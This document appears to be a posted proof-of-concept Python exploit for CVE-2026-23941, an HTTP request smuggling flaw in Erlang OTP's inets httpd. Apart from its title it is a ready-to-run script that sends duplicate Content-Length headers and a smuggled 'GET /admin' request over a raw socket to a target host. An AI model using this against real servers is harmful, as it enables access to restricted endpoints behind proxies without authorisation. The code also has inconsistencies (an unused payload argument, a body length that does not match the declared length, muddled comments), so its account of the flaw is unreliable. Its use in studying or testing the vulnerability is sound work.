CVE-2026-23941 Erlang OTP inets httpd HTTP Request Smuggling漏洞

import socket import time def send_http_request_smuggling(target_host, target_port, payload): """ HTTP Request Smuggling PoC for CVE-2026-23941 Erlang OTP inets httpd module vulnerability This PoC demonstrates the inconsistent handling of duplicate Content-Length headers. """ # Construct smuggling request with duplicate Content-Length headers # First CL is used by Erlang OTP, second by reverse proxies smuggling_request = ( f"POST / HTTP/1.1\r\n" f"Host: {target_host}:{target_port}\r\n" f"Content-Length: 10\r\n" # First CL - used by Erlang OTP f"Content-Length: 100\r\n" # Second CL - honored by reverse proxies f"\r\n" f"SMUGGLED" # 8 bytes + padding to trigger desync ) # Second request that will be partially consumed second_request = ( f"GET /admin HTTP/1.1\r\n" f"Host: {target_host}\r\n" f"\r\n\r\n" ) # Full payload: first request + partial second request # Erlang OTP will see: first request body (10 bytes) + leftover bytes # Reverse proxy will see: first request + full second request full_payload = smuggling_request + second_request try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) sock.send(full_payload.encode('utf-8')) # Wait for response time.sleep(1) response = sock.recv(4096) sock.close() return response.decode('utf-8', errors='ignore') except Exception as e: return f"Error: {str(e)}" # Example usage if __name__ == "__main__": target = "example-vulnerable-server.com" port = 8080 print("Sending HTTP Request Smuggling payload...") result = send_http_request_smuggling(target, port, "test") print(f"Response: {result}")